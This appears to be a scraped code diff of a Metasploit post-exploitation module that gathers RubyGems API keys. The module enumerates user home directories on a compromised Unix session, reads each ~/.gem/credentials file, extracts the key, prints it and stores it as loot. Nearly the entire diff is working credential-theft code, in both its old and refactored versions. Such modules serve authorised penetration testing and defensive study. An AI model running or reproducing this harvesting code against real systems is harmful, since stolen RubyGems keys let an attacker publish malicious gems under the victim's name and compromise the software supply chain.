|
6 | 6 | require 'msf/core'
|
7 | 7 | require 'yaml'
|
8 | 8 |
|
9 |
| -class Metasploit3 < Msf::Post |
| 9 | +class Metasploit4 < Msf::Post |
10 | 10 |
|
11 | 11 | include Msf::Post::File
|
12 | 12 | include Msf::Post::Unix
|
13 | 13 |
|
14 | 14 | def initialize(info = {})
|
15 | 15 | super(update_info(info,
|
16 |
| - 'Name' => 'Multi Gather RubyGems API Key ~/.gem/credentials', |
17 |
| - 'Description' => %q{ |
| 16 | + 'Name' => 'Multi Gather RubyGems API Key', |
| 17 | + 'Description' => %q{ |
18 | 18 | This module obtains a user's RubyGems API key from ~/.gem/credentials.
|
19 | 19 | },
|
20 |
| - 'License' => MSF_LICENSE, |
21 |
| - 'Author' => [ 'Jonathan Claudius <jclaudius[at]trustwave.com>', |
22 |
| - 'Brandon Myers <bmyers[at]trustwave.com>' ], |
23 |
| - 'Platform' => %w{ bsd linux osx unix }, |
24 |
| - 'SessionTypes' => %w{ shell } |
| 20 | + 'Author' => [ |
| 21 | + 'Jonathan Claudius <jclaudius[at]trustwave.com>', |
| 22 | + 'Brandon Myers <bmyers[at]trustwave.com>' |
| 23 | + ], |
| 24 | + 'Platform' => %w{bsd linux osx unix}, |
| 25 | + 'SessionTypes' => %w{shell}, |
| 26 | + 'License' => MSF_LICENSE |
25 | 27 | ))
|
26 | 28 | end
|
27 | 29 |
|
28 | 30 | def run
|
29 |
| - print_status("Finding ~/.gem/credentials") |
30 |
| - paths = enum_user_directories.map {|d| d + "/.gem/credentials"} |
| 31 | + print_status('Finding ~/.gem/credentials') |
| 32 | + paths = enum_user_directories.map { |d| d + '/.gem/credentials' } |
31 | 33 | paths = paths.select { |f| file?(f) }
|
32 | 34 |
|
33 | 35 | if paths.empty?
|
34 |
| - print_error("No users found with a ~/.gem/credentials file") |
| 36 | + print_error('No users found with a ~/.gem/credentials file') |
35 | 37 | return
|
36 | 38 | end
|
37 | 39 |
|
38 |
| - download_loot(paths) |
| 40 | + download_key(paths) |
39 | 41 | end
|
40 | 42 |
|
41 |
| - def download_loot(paths) |
| 43 | + def download_key(paths) |
42 | 44 | print_status("Looting #{paths.count} files")
|
43 | 45 | paths.each do |path|
|
44 | 46 | path.chomp!
|
45 |
| - next if [".", ".."].include?(path) |
| 47 | + next if ['.', '..'].include?(path) |
46 | 48 |
|
47 |
| - rubygems_api_key = YAML.load(read_file(path))[:rubygems_api_key] [...] |
48 |
| - next unless rubygems_api_key.is_a(::String) |
49 |
| - |
50 |
| - print_good("Found a RubyGems API key #{rubygems_api_key}") |
| 49 | + rubygems_api_key = YAML.load(read_file(path))[:rubygems_api_key] |
| 50 | + next unless rubygems_api_key |
51 | 51 |
|
52 |
| - loot_path = store_loot("host.rubygems.apikey", |
53 |
| - "text/plain", |
54 |
| - session, |
55 |
| - rubygems_api_key, |
56 |
| - "ruby_api_key.txt", |
57 |
| - "Ruby API Key") |
| 52 | + print_good("Found a RubyGems API key: #{rubygems_api_key}") |
58 | 53 |
|
59 |
| - print_good("RubyGems API key stored in #{loot_path.to_s}") |
| 54 | + loot_path = store_loot( |
| 55 | + 'rubygems.apikey', |
| 56 | + 'text/plain', |
| 57 | + session, |
| 58 | + rubygems_api_key, |
| 59 | + 'rubygems_api_key.txt', |
| 60 | + 'RubyGems API key' |
| 61 | + ) |
| 62 | + |
| 63 | + print_good("RubyGems API key stored in #{loot_path}") |
60 | 64 | end
|
61 | 65 | end
|
62 | 66 |
|
|
0 commit comments